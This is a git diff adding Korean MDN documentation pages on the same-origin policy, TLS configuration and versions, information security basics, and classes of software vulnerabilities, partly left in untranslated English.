+ <li>{{htmlelement("object")}}와 {{htmlelement("embed")}}로 삽입하는 외부 리소스.</li>
+ <li>{{cssxref("@font-face")}}로 적용하는 글씨체. 하지만 일부 브라우저는 동일 출처를 요구할 수도 있습니다.</li>
+ <li>{{htmlelement("iframe")}}으로 삽입하는 모든 것. {{httpheader("X-Frame-Options")}} 헤더를 사용해 교차 출처 프레임의 대상이 되는 것을 방지할 수 있습니다.</li>
+</ul>
+
+<h3 id="교차_출처_접근_허용하기">교차 출처 접근 허용하기</h3>
+
+<p><a href="/ko/docs/Web/HTTP/CORS" title="HTTP/Access_control_CORS">CORS</a>를 사용해 교차 출처 접근을 허용하세요. CORS는 {{glossary("HTTP")}}의 일부로, 어떤 호스트에서 자신의 콘텐츠를 불러갈 수 있는지 서버에 지정할 수 있는 방법입니다.</p>
+
+<h3 id="교차_출처_접근_막기">교차 출처 접근 막기</h3>
+
+<ul>
+ <li>교차 출처 쓰기를 방지하려면 추측 불가능한 토큰을 요청에 포함하세요. <a href="https://owasp.org/www-community/attacks/csrf">교차 출처 요청 위조(Cross-Site Request Forgery, CSRF)</a> 토큰이라고 부릅니다. 토큰을 요구하는 페이지의 교차 출처 읽기도 막아야 합니다.</li>
+ <li>리소스의 교차 출처 읽기를 방지하려면 삽입 불가하도록 설정하세요. 리소스 삽입 과정에서 일부 정보가 새어 나가므로 방지해야 합니다.</li>
+ <li>교차 출처 삽입을 방지하려면, 리소스가 위에 나열한 삽입 가능 형태로 읽히지 않도록 해야 합니다. 브라우저는 Content-Type 헤더를 준수하지 않을 수도 있습니다. 즉, <code>&lt;script&gt;</code> 태그가 HTML 문서를 가리키도록 설정하는 경우, 브라우저는 HTML을 JavaScript로 분석하려고 시도합니다. 방지하려는 리소스가 사이트의 진입점이 아닌 경우 CSRF 토큰을 사용하는 것도 삽입 방지의 방법입니다.</li>
+</ul>
+
+<h2 id="교차_출처_스크립트_API_접근">교차 출처 스크립트 API 접근</h2>
+
+<p>{{domxref("HTMLIFrameElement.contentWindow", "iframe.contentWindow")}}, {{domxref("window.parent")}}, {{domxref("window.open")}}, {{domxref("window.opener")}} 등의 JavaScript API는 문서가 서로를 직접 참조할 수 있도록 합니다. 이때 두 문서의 출처가 같지 않을 경우 참조를 통해 {{domxref("Window")}}와 {{domxref("Location")}} 객체로의 매우 제한된 접근만 가능합니다. 아래의 두 구획에서 접근 가능한 항목을 볼 수 있습니다.</p>
+
+<p>서로 다른 출처의 문서간 통신을 하려면 {{domxref("window.postMessage()")}}를 사용하세요.</p>
+
+<p>명세: <a class="external external-icon" href="https://html.spec.whatwg.org/multipage/browsers.html#cross-origin-objects">HTML Living Standard § Cross-origin objects</a></p>
+
+<h3 id="Window">Window</h3>
+
+<p>교차 출처에서 <code>Window</code>의 다음 항목에 접근할 수 있습니다.</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+ <tr>
+ <th scope="col">메서드</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{domxref("window.blur")}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.close")}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.focus")}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.postMessage")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+ <tr>
+ <th scope="col">속성</th>
+ <th scope="col"></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{domxref("window.closed")}}</td>
+ <td>읽기 전용.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.frames")}}</td>
+ <td>읽기 전용.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.length")}}</td>
+ <td>읽기 전용.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.location")}}</td>
+ <td>읽기/쓰기.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.opener")}}</td>
+ <td>읽기 전용.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.parent")}}</td>
+ <td>읽기 전용.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.self")}}</td>
+ <td>읽기 전용.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.top")}}</td>
+ <td>읽기 전용.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("window.window")}}</td>
+ <td>읽기 전용.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>일부 브라우저는 위의 항목보다 더 많은 접근을 허용할 수도 있습니다.</p>
+
+<h3 id="Location">Location</h3>
+
+<p>교차 출처에서 <code>Location</code>의 다음 항목에 접근할 수 있습니다.</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+ <tr>
+ <th scope="col">메서드</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{domxref("location.replace")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+ <tr>
+ <th scope="col">속성</th>
+ <th scope="col"></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{domxref("URLUtils.href")}}</td>
+ <td>쓰기 전용.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>일부 브라우저는 위의 항목보다 더 많은 접근을 허용할 수도 있습니다.</p>
+
+<h2 id="교차_출처_데이터_저장소_접근">교차 출처 데이터 저장소 접근</h2>
+
+<p><a href="/ko/docs/Web/API/Web_Storage_API">Web Storage</a>와 <a href="/ko/docs/Web/API/IndexedDB_API">IndexedDB</a> 등 브라우저에 저장한 데이터로의 접근은 출처별로 제한됩니다. 각각의 출처는 별도의 저장소를 받으며, 한 출처의 JavaScript에서 다른 출처의 저장소를 읽거나 쓰는 것은 불가능합니다.</p>
+
+<p>{{glossary("Cookie", "쿠키")}}는 출처에 대해 다른 정의를 사용합니다. 어떤 페이지는 자신의 도메인은 물론, 공개 접두사가 아닌 모든 부모 도메인에 대해 쿠키를 설정할 수 있습니다. Firefox와 Chrome은 <a href="https://publicsuffix.org/">Public Suffix List</a>를 사용해 도메인의 공개 접두사 여부를 판별합니다. Internet Explorer는 별도의 내부 방식을 사용합니다. 브라우저는 주어진 도메인 및 하위 도메인에 대한 쿠키 접근을 허용하며, 사용한 {{glossary("protocol", "프로토콜")}}(HTTP/HTTPS)과 {{glossary("port", "포트")}}는 검사하지 않습니다. 쿠키를 설정할 때 <code>Domain</code>, <code>Path</code>, <code>Secure</code>, <code>HttpOnly</code> 플래그를 사용해 쿠키 접근을 제한할 수 있습니다. 쿠키를 읽을 때, 쿠키를 설정한 장소는 볼 수 없습니다. 오로지 안전한 HTTPS 연결만 사용하더라도, 보이는 쿠키 중 어떠한 것이라도 안전하지 않은 연결에서 설정한 것일 수 있습니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">W3C의 Same-Origin Policy</a></li>
+ <li><a href="https://web.dev/secure/same-origin-policy">web.dev의 Same-origin policy</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">원본 문서 정보</h2>
+
+<ul>
+ <li>저자: Jesse Ruderman</li>
+</ul>
+</div>
diff --git a/files/ko/web/security/transport_layer_security/index.html b/files/ko/web/security/transport_layer_security/index.html
new file mode 100644
index 0000000000..16ba656e8e
--- /dev/null
+++ b/files/ko/web/security/transport_layer_security/index.html
@@ -0,0 +1,110 @@
+---
+title: Transport Layer Security
+slug: Web/Security/Transport_Layer_Security
+translation_of: Web/Security/Transport_Layer_Security
+---
+<div>{{draft}}</div>
+
+<p><span class="seoSummary"> TLS(Transport Layer Security)를 사용하는 연결의 보안은 암호 스위트(Ciper Suites)와 선택된 보안 파라메터에 강하게 의존합니다. 이 문서는 클라이언트와 서버 사이의 기밀성과 무결성 통신을 보장하기 위한 결정을 하도록 돕는 것이 목적입니다. 모질라 운영 보안(OpSec) 팀은 서버를 위한 참조용 설정이 있는 <a href="https://wiki.mozilla.org/Security/Server_Side_TLS">위키</a>를 관리합니다..</span></p>
+
+<p class="summary"> TLS(Transport Layer Security) 프로토콜은 네트워크로 연결된 두 개의 어플리케이션 혹은 디바이스가 비밀스럽고 강건하게 정보를 교환하도록 하는 표준입니다. TLS를 사용하는 어플리케이션은 데이터의 보안과 신뢰성에 상당한 영향을 미칠 수 있는 보안 파라메터를 선택할 수 있습니다. 이 글은 TLS에 대한 개요와 컨텐츠를 보호할 때 결정해야 할 사항에 대해 설명합니다.</p>
+
+<h2 id="역사">역사</h2>
+
+<p> HTTPS가 처음 발표 됐을 때는 넷스케이프가 도입한 기술인 SSL(Secure Sockets Layer) 2.0에 기반을 뒀습니다. 얼마되지 않아 SSL이 3.0으로 업데이트 되고 사용처가 확대되면서, 모든 웹 브라우저와 서버 사이에 상호 운영성을 보장하기 위한 공통의 표준 암호화 기술이 지정해야 하는 것이 명확해졌습니다. 국제 인터넷 표준화 기구(IETF)는 1999년 1월, TLS 1.0 {{RFC(2246)}}을 지정했습니다. 현재 TLS의 버전은 1.2 {{RFC(5246)}}입니다. 프로토콜에 대한 주요 개정 작업이 진행중이며, TLS 1.3이 거의 완성됐습니다.</p>
+
+<div class="note">
+<p>이제 웹이 암호화에 TLS를 사용하고 있음에도 불구하고, 많은 사람들이 아직까지 습관적으로 TLS를 "SSL"이라고 언급합니다.  </p>
+</div>
+
+<p> TLS가 모든 저수준의 전송 프로토콜의 위에서 사용될 수 있지만, 이 프로토콜은 원래 HTTP 트래픽을 암호화하는 것이 목적이었습니다. TLS로 암호화된 HTTP는 흔히 HTTPS라고 언급됐습니다. TLS로 암호화된 웹 트래픽은 관습적으로 443 포트를 통해 교환되었으며, 암호화되지 않은 HTTP는 기본적으로 80번 포트를 사용합니다. HTTPS는 중요한 TLS 사용 사례로 남았습니다.</p>
+
+<h2 id="HTTP보다_TLS">HTTP보다 TLS</h2>
+
+<p>TLS는 주고받는 데이터의 안전과 보안을 보장하게 하는 세 가지 주요 서비스를 제공합니다. </p>
+
+<dl>
+ <dt>인증</dt>
+ <dd>인증은 커뮤니케이션에 대한 각각의 당사자가 상대방이 주장하는 사람인지 검증하게 합니다.</dd>
+ <dt>암호화</dt>
+ <dd>데이터는 사용자 에이전트와 서버 사이에 전송이 되는 동안에 허용되지 않은 쪽에 의해 데이터가 읽혀지고 가로채지는 것을 방지하기 위해서 암호화됩니다.</dd>
+ <dt>무결성</dt>
+ <dd>TLS는 데이터를 암호화하고 전송하고 복호화하는 동안에 정보가 없어지거나, 손실되거나, 위변조되지 않는 것을 보장합니다.</dd>
+</dl>
+
+<p>TLS 연결은 클라이언트와 서버가 공유된 암호에 동의하고, 보안 스위트(cipher suite)같은 중요한 파라메터가 협상되는 핸드쉐이크 단계로 시작합니다. Once parameters and a data exchange mode where application data, such HTTP, is exchanged.</p>
+
+<h3 id="Cipher_suites">Cipher suites</h3>
+
+<p>TLS 핸드쉐이크가 협상하는 주요 파라메터들은 {{interwiki("wikipedia", "cipher suite")}}입니다.</p>
+
+<p>In TLS 1.2 and earlier, the negotiated cipher suite includes a set of cryptographic algorithms that together provide the negotiation of the shared secret, the means by which a server is authenticated, and the method that will be used to encrypt data.</p>
+
+<p>The cipher suite in TLS 1.3 primarily governs the encryption of data, separate negotiation methods are used for key agreement and authentication.</p>
+
+<p>Different software might use different names for the same cipher suites. For instance, the names used in OpenSSL and GnuTLS differ from those in the TLS standards. The <a href="https://wiki.mozilla.org/Security/Server_Side_TLS#Cipher_names_correspondence_table">cipher names correspondence table</a> on the Mozilla OpSec team's article on TLS configurations lists these names as well as information about compatibility and security levels.</p>
+
+<h3 id="Configuring_your_server">Configuring your server</h3>
+
+<p>서버를 올바르게 구성하는 것은 매우 중요합니다. 일반적으로, 사이트에 연결하려는 브라우저와 호환 가능한 최신 암호화 기능으로만 한정적으로 설정하는 것이 좋습니다. 올바른 설정과 관련해서 <a href="https://wiki.mozilla.org/Security/Server_Side_TLS">Mozilla OpSec guide to TLS configurations</a> 에서 추가적인 정보를 얻을 수 있습니다.</p>
+
+<p>To assist you in configuring your site, Mozilla provides a helpful <a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/">TLS configuration generator</a> that will generate configuration files for the following Web servers:</p>
+
+<ul>
+ <li>Apache</li>
+ <li>Nginx</li>
+ <li>Lighttpd</li>
+ <li>HAProxy</li>
+ <li>Amazon Web Services CloudFormation Elastic Load Balancer</li>
+</ul>
+
+<p>Using the <a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/">configurator</a> is a recommended way to create the configuration to meet your needs; then copy and paste it into the appropriate file on your server and restart the server to pick up the changes. The configuration file may need some adjustments to include custom settings, so be sure to review the generated configuration before using it; installing the configuration file without ensuring any references to domain names and the like are correct will result in a server that just doesn't work.</p>
+
+<h2 id="TLS_1.3">TLS 1.3</h2>
+
+<p>{{RFC("8446", "TLS 1.3")}} is a major revision to TLS. TLS 1.3은 보안과 성능을 향상시키는 많은 변화들을 포함하고 있습니다. TLS 1.3의 목표는:</p>
+
+<ul>
+ <li>TLS 1.2에서 사용하지 않고 안전하지 않은 요소들을 제거하는 것</li>
+ <li>디자인에 높은 수준의 보안 분석을 포함시키는 것</li>
+ <li>더 많은 프로토콜들의 암호화를 통해 프라이버시를 향상시키는 것</li>
+ <li>핸드쉐이크를 성립시키는데 소요되는 시간을 단축시키는 것</li>
+</ul>
+
+<p>TLS 1.3은 프로토콜의 기본적인 부분들에 변화를 주지만, 이전 버전의 TLS의 기본적인 작업들을 대부분 온전히 수행할 수 있습니다. 웹에서 TLS 1.3은 아주 드문 예외적인 경우들을 제외하면 원활하게 사용될 수 있습니다.(아래 참고).</p>
+
+<p>TLS 1.3의 주요 변화들은:</p>
+
+<ul>
+ <li>TLS 1.3 핸드쉐이크는 대부분의 경우에 한번의 왕복만으로 성립되어, 핸드쉐이크 지연시간을 단축.</li>
+ <li>서버는 0-RTT(zero round trip time) 핸드쉐이크를 활성화시킬 수 있다. 서버에 재접속하려는 클라이언트들은 요청(request)을 즉시 보낼 수 있으며, 이를 통해 TLS 핸드쉐이크의 지연시간을 완전히 단축시킬 수 있다. 성능적인 측면에서 보면 0-RTT를 통해 얻을 수 있는 이점이 상당하지만, 리플레이 공격(replay attack)의 위험을 감수해야하므로 0-RTT를 활성화하기 전에 주의가 필요.</li>
+ <li>TLS 1.3 supports forward-secure modes only, unless the connection is resumed or it uses a pre-shared key.</li>
+ <li>TLS 1.3 defines a new set of cipher suites that are exclusive to TLS 1.3. These cipher suites all use modern Authenticated Encryption with Associated Data (AEAD) algorithms.</li>
+ <li>The TLS 1.3 handshake is encrypted, except for the messages that are necessary to establish a shared secret. In particular, this means that server and client certificates are encrypted. Note however that the server identity (the server_name or SNI extension) that a client sends to the server is not encrypted.</li>
+ <li>Numerous mechanisms have been disabled: renegotiation, generic data compression, {{interwiki("wikipedia", "Digital Signature Algorithm")}} (DSA) certificates, static RSA key exchange, and key exchange with custom Diffie-Hellman (DH) groups.</li>
+</ul>
+
+<p>Implementations of draft versions of TLS 1.3 are available. TLS 1.3 is enabled in some browsers, including the 0-RTT mode. Web servers that enable TLS 1.3 might need to adjust configuration to allow TLS 1.3 to operate successfully.</p>
+
+<p>TLS 1.3 adds just one significant new use case. The 0-RTT handshake can provide significant performance gains for latency sensitive applications, like the web. Enabling 0-RTT requires additional steps, both to ensure successful deployment and to manage the risks of replay attacks.</p>
+
+<p>TLS 1.3에서 재협상을 제거함으로써, 증명서(certificate)를 이용한 클라이언트 인증에 의존하는 몇몇 웹서버들이 영향을 받을 수 있습니다.어떤 웹서버들은 재협상을 통해 클라이언트 증명서의 암호화를 보장하거나, 특정 리소스가 필요할 때 재협상을 통해 클라이언트 증명서를 요청합니다. 클라이언트 증명서의 프라이버시를 위해, TLS 1.3 핸드쉐이크의 보안은 클라이언트 증명서가 암호화되었다는 것을 보장해줍니다. 그러나 소프트웨어에 변화가 필요할지도 모릅니다. TLS 1.3은 증명서를 사용한 반응형 클라이언트 인증을 지원하지만, 대중적으로 사용되지는 않습니다. HTTP/2를 지원하는 대안책들이 개발중에 있습니다.</p>
+
+<h2 id="TLS_handshake_timeout_values">TLS handshake timeout values</h2>
+
+<p>어떤 이유에서든지 간에 TLS 핸드쉐이크가 느려지거나 반응이 없다면 사용자 입장에서는 큰 영향을 받을 수가 있습니다. 이러한 문제들을 완화시키기위해 모던 브라우저들은 핸드쉐이크 시간 만료(handshake timeout)를 도입했습니다:</p>
+
+<ul>
+ <li>Firefox는 version 58 이후로 30초를 디폴트 값으로 가지는 TLS handshake timeout을 도입했습니다. Timeout value 값은 about:config에 있는 <code>network.http.tls-handshake-timeout</code> 를 통해 재설정 할 수 있습니다.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The <a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/">Mozilla TLS Configurator</a> can help you generate configuration files for your server to secure your site.</li>
+ <li><a href="https://cipherli.st/">Cipherli.st</a> provides of strong TLS configurations for a variety of software products.</li>
+ <li>The Mozilla Operations Security (OpSec) team maintains a wiki page with <a href="https://wiki.mozilla.org/Security/Server_Side_TLS">reference TLS configurations</a>.</li>
+ <li><a href="https://observatory.mozilla.org/">Mozilla Observatory</a>, <a href="https://www.ssllabs.com/ssltest/">SSL Labs</a>, and <a href="https://github.com/mozilla/cipherscan">Cipherscan</a> can help you test a site to see how secure its TLS configuration is.</li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/ko/web/security/정보_보안_기본/index.html b/files/ko/web/security/정보_보안_기본/index.html
new file mode 100644
index 0000000000..48eeaed961
--- /dev/null
+++ b/files/ko/web/security/정보_보안_기본/index.html
@@ -0,0 +1,28 @@
+---
+title: Information Security Basics
+slug: Web/Security/정보_보안_기본
+translation_of: Web/Security/Information_Security_Basics
+---
+<p><span class="seoSummary"> 정보 보안에 대한 기본적인 이해는 불안전하거나 취약점으로 인해 생긴 약점이 악의적인 이유로 악용되지 않게 당신을 도와줄 것입니다. 이 기사는 당신이 알아야 할 것을 배우는데 도움을 줄 것 입니다.</span> 이 정보를 이용하면, 웹 개발주기 및 콘텐츠 배포를 넘어 보안의 역할과 중요성을 알게될 것입니다.</p>
+
+<dl>
+ <dt><a href="/en-US/Learn/Confidentiality,_Integrity,_and_Availability">신뢰성, 무결성, 가용성</a></dt>
+ <dd>보안을 이해하기 위해 필수적이고 기본적인 보안의 목적에 대해 설명합니다. </dd>
+ <dt><a href="/en-US/Learn/Vulnerabilities">취약점</a></dt>
+ <dd>취약점의 주요 카테고리를 정의하고, 모든 소프트웨어에 있는 취약점에 대해서 논의합니다. </dd>
+ <dt><a href="/en-US/Learn/Threats">위협</a></dt>
+ <dd>주요한 위협의 개념에 대해 간단히 소개합니다.</dd>
+ <dt><a href="/en-US/Learn/Security_Controls">보안 제어</a></dt>
+ <dd>보안 제어의 주요 카테고리를 정의하고, 잠재적인 단점에 대해서 논의합니다. </dd>
+ <dt><a href="/en-US/Learn/TCP_IP_Security">TCP/IP 보안</a></dt>
+ <dd>SSL에 대한 보안 고려 사항에 초점을 맞춘 TCP / IP 모델의 개요.</dd>
+</dl>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Security">Browser security</a></li>
+ <li><a href="/en-US/docs/Web/Security">Web security</a></li>
+ <li><a href="/en-US/docs/Web/Security/Securing_your_site">Securing your site</a></li>
+ <li><a href="/en-US/docs/Security/Firefox_Security_Basics_For_Developers">Firefox Security Basics for Developers</a></li>
+</ul>
diff --git a/files/ko/web/security/정보_보안_기본/취약점/index.html b/files/ko/web/security/정보_보안_기본/취약점/index.html
new file mode 100644
index 0000000000..8b7543b414
--- /dev/null
+++ b/files/ko/web/security/정보_보안_기본/취약점/index.html
@@ -0,0 +1,99 @@
+---
+title: 취약점
+slug: Web/Security/정보_보안_기본/취약점
+tags:
+ - 보안
+ - 웹 보안
+ - 초보자
+ - 취약점
+ - 튜토리얼
+translation_of: Archive/Security/Vulnerabilities
+---
+<div class="summary">
+<p>이 글은 취약점이 무엇인지, 그리고 모든 시스템에서 어떻게 나타나는 지에 대하여 다룹니다.</p>
+</div>
+
+<p>취약점은 신뢰성, 무결성 및/또는 가용성에 부정적으로 작용할 수 있는 시스템 내의 약점입니다. 취약점을 분류할 수 있는 방법은 여러가지가 있습니다. 이 글은 소프트웨어 결함, 보안 설정 문제, 그리고 소프트웨어 기능 오용의 세가지 상위 취약점 분류를 사용합니다. 이러한 분류는 아래에서 설명하고 있습니다.</p>
+
+<h2 id="취약점_분류">취약점 분류</h2>
+
+<p><font><em>소프트웨어 결함 취약점</em>은 소프트웨어 설계 또는 코딩에서의 의도하지 않은 오류로 인해 발생합니다. 사용자가 제공한 입력이 알려진 공격과 관련있는 악의적인 문자열이거나 지나치게 긴 값에 대해 적절하게 평가되지 않는 것과 같은 입력 유효성 검사 오류를 그 예로 들 수 있습니다. 또 다른 예로는, 공격자가 상승된 권한으로 특정 작업을 수행할 수 있는 경합 조건 오류가 있습니다.</font></p>
+
+<p><font>보안 구성 설정은 소프트웨어 자체를 통해 변경할 수 있는 소프트웨어 보안의 요소입니다. 설정의 예로는 사용자에게 파일에 대한 권한을 설정하는 제어 목록에 대한 액세스를 제공하는 운영 체제와, 응용 프로그램이 저장한 중요한 데이터의 암호화를 활성화 또는 비활성화하는 응용 프로그램입니다.</font></p>
+
+<p><em>보안 구성 문제 취약점</em>에는 소프트웨어 보안에 부정적인 영향을 주는 보안 구성 설정이 사용됩니다.</p>
+
+<p><font>소프트웨어 기능은 소프트웨어에서 제공하는 기능입니다. </font><font><em>소프트웨어 기능 오용 취약점</em>은 시스템 보안을 손상시키는 방법도 제공합니다. </font><font>이러한 취약점은 소프트웨어 디자이너가 유익한 기능을 제공하도록 허용하는 신뢰 가정을 만드는 한편, 누군가가 보안 손상에 대한 신뢰 가정을 위반할 가능성을 초래하기 때문입니다.</font></p>
+
+<p><font>예를 들어, 이메일 클라이언트 소프트웨어는 이메일 메시지에 HTML컨텐츠를 렌더링 하는 기능을 포함할 수 있습니다. </font><font>공격자는 HTML로 렌더링 된 하이퍼링크가 포함된 사기성 전자 메일 메시지를 조작할 수 있습니다. 하이퍼링크는 수신인에게 양호한 것으로 표시되지만 클릭하면 실제로 수신인을 악성 웹 사이트로 가져옵니다. </font><font>HTML콘텐츠 렌더링 기능 설계 시 신뢰할 수 있는 가정 중 하나는 사용자가 악의적인 하이퍼링크를 수신하지 않고 클릭하지 않는다는 것입니다.</font></p>
+
+<p><font>소프트웨어 기능 오용 취약점은 소프트웨어 또는 소프트웨어 구성 요소의 설계 중에 발생합니다(예:소프트웨어가 구현하는 프로토콜). </font><font>신뢰 가정은 사실일 수 있습니다. 예를 들어, 설계자는 보안 약점을 인식하고 별도의 보안 통제가 이를 보상할 것이라고 판단합니다.</font></p>
+
+<p><font>그러나, 신뢰가 도입할 위험을 먼저 평가하지 않고 특징을 생성하는 것과 같이, 신뢰 가정은 주로  암묵적입니다. 위협 요소는 소프트웨어 수명 주기 또는 소프트웨어에 사용되는 프로토콜에 따라 변경될 수도 있습니다.</font></p>
+
+<p><font>예를 들어 주소 결정 프로토콜(ARP)는 ARP 응답이 매체 접근 제어(MAC) 및 인터넷 프로토콜(IP) 주소 간의 올바른 매핑을 포함하고 있다고 신뢰합니다. </font><font>ARP 캐시는 유용한 서비스를 제공하기 위해 이 정보를 사용하여 로컬 네트워크 내의 장치 간에 데이터를 보낼 수 있도록 합니다. </font><font>하지만 공격자는 잘못된 ARP 메시지를 생성하여 시스템의 ARP 테이블을 손상시키고 서비스 거부 또는 메시지 가로채기(man-in-the-middle)공격을 시작합니다.</font></p>
+
+<p><font>ARP 프로토콜은 25년 전에 표준화되었으며, 그 이후로 위협이 크게 변화하여, 설계에 내재한 신뢰 가정이 현재에도 여전히 타당하지는 않을 것입니다.</font></p>
+
+<p><font>소프트웨어 기능 오용 취약점을 다른 두 범주와 구별하기 어려울 수도 있습니다. 예를 들어, 소프트웨어 결함 및 오용 취약점은 소프트웨어 설계 프로세스의 결함으로 인해 발생할 수 있습니다. 하지만 소프트웨어 결함은 보안이나 기능에 긍정적인 이점을 제공하지 않으므로 추가 기능 제공의 결과로 소프트웨어 기능 오용 취약점이 발생할 수 있습니다.</font></p>
+
+<p><font>또한 어떤 면에서 구성된 방식으로 기능을 활성화하거나 비활성화할 수 있는 기능의 오용 취약점과 보안 구성 문제에  대해서도 혼동이 발생할 수 있습니다. 주요 차이점은 오용 취약점의 경우 구성 설정이 전체 기능을 활성화 또는 비활성화하고 전체 기능만 특별히 변경하지 않는다는 것입니다. 보안 구성 문제의 경우 구성 설정은 소프트웨어의 보안만 변경합니다.</font></p>
+
+<p><font>예를 들어 전자 메일에서 HTML을 모두 사용할 수 없도록 설정하면 보안 및 기능에 큰 영향을 미치므로 이 설정과 관련된 취약성은 오용 취약점이 됩니다. 전자 메일 클라이언트에서 암호화 기능을 사용하지 않도록 설정하면 보안에만 큰 영향을 미치므로 이 설정의 취약점은 보안 구성 문제 취약성으로 간주됩니다.</font></p>
+
+<h2 id="취약점의_존재">취약점의 존재</h2>
+
+<p><font>100% 안전한 시스템은 없습니다. 모든 시스템에 취약점이 있습니다. 어</font><font>느 때나 시스템에 알려진 소프트웨어 결함이 없을 수 있지만 보안 구성 문제 및 소프트웨어 기능 오용 취약점은 항상 존재합니다.</font></p>
+
+<p><font>각 기능은 신뢰성 평가를 기반으로 해야 하기 때문에 소프트웨어 기능에는 남용 취약점이 내재되어 있으며, 이러한 가정은 상당한 비용과 노력이 수반되지만 손상될 수 있습니다. </font><font>보안 구성 문제도 다음의 두가지 이유로 불가피합니다.</font></p>
+
+<p><font>첫째, 대부분의 구성 설정은 기능을 줄이는 대신 보안을 강화하므로 가장 안전한 설정을 사용하면 소프트웨어를 사용할 수 없거나 사용할 수 없게 될 수 있습니다. </font><font>둘째, 많은 보안 설정은 보안에 긍정적인 영향과 부정적인 영향을 모두 미칩니다.</font></p>
+
+<p><font>예를 들어, 사용자 계정을 잠그기 전에 허용하려는 연속적인 인증 실패 횟수를 들 수 있습니다. </font><font>이를 1로 설정하면 암호 추측 공격에 대한 가장 안전한 설정이 되지만 합법적인 사용자가 암호를 한번 잘못 해독하면 계정 하나를 더 쉽게 생성할 수 있습니다.</font></p>
+
+<p><font>보안 구성 설정 및 소프트웨어 기능 오용 가능성에 내재된 취약점의 수와 지정된 시간에 시스템의 소프트웨어 결함 취약점의 수 때문에 단일 시스템에는 수 십 개 또는 수 백 개의 취약점이 있을 수 있습니다.</font></p>
+
+<p><font>이러한 취약점은 다양한 특성을 가질 수 있습니다. </font><font>어떤 것들은 매우 이용하기 쉬운 반면, 다른 것들은 매우 가능성이 적은 조건들의 조합에 의해서만 설명될 수 있을 것이다.</font></p>
+
+<p><font>한 취약점은 시스템에 대한 루트 수준 액세스를 제공하는 반면 다른 취약성은 중요하지 않은 파일에 대한 읽기 액세스만 허용할 수 있습니다.</font></p>
+
+<p><font>궁극적으로 조직은 누군가가 각 취약성을 이용하는 것이 얼마나 어려운지, 그리고 취약점을 이용할 경우 어떤 영향을 미칠 수 있는지 알아야 합니다.</font></p>
+
+<h2 id="웹사이트의_취약점">웹사이트의 취약점</h2>
+
+<p><font>OWASP또는 Open Web Security Project는 소프트웨어 및 웹 응용 프로그램의 보안을 향상시키는 데 초점을 맞춘 비영리 자선 단체입니다. Open Web Application Security Project에 따르면, XSS는 2017년에</font> <a href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" rel="noopener">7번째로 흔한 웹 응용 프로그램 취약점</a> <font>이었습니다.</font></p>
+
+<p><font>이 단체은 다양한 보안 조직의 데이터를 기반으로 상위 웹 보안 취약점 목록을 게시합니다.</font></p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/Security">웹 보안</a><font>취약성은 WordPress, Joomla, Magento, Wocommerce등의 CMS가 될 수 있는 배포 가능성, 탐지 가능성 및 소프트웨어 영향에 따라 우선 순위가 지정됩니다.</font></p>
+
+<p><font>다음은 자신을 보호해야 하는 6가지 가장 일반적인 웹 사이트 취약성입니다.</font></p>
+
+<p><font><font>1. SQL주입</font></font><br>
+ 2. <a href="https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting">사이트간 스크립팅(XSS)</a><br>
+ <font><font>3. 망가진 인증 및 세션 관리<a href="https://papago.naver.net/apis/site/proxy?data=lY2EyqzIfo3Oypv5go3ccoTkuYz9lMl9yov1IHl9xo2AmY0SlL2ucqzHiFJEyoaEcqUyALJ5uM2IlVa1IC0RlrlW1pzjvBvWbqUEjpmbi">-</a></font></font><a href="https://developer.mozilla.org/en-US/docs/Archive/IdentityManager"> IdentityManager</a><br>
+ <font><font>4. 안전하지 않은 직접 객체 참조 <a href="https://papago.naver.net/apis/site/proxy?data=JW1pzjvBvWbqUEjpmbiY2EyqzIfo3Oypv5go3ccoTkuYz9lMl9yov1IHl9xo2AmY0qfo3AmLKW5Y0ECGFW9F3EHrl">- </a></font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/DOM">DOM (문서 객체 모델)</a><br>
+ <font><font>5. 보안 오구성</font></font><br>
+ 6. <a href="https://developer.mozilla.org/en-US/docs/Glossary/CSRF">사이트 간 요청 위조(CSRF)</a></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="https://www.owasp.org/">Open Web Application Security Project (OWASP)</a></li>
+ <li><a href="https://cve.mitre.org/">Common Vulnerabilities and Exposures (CVE)</a></li>
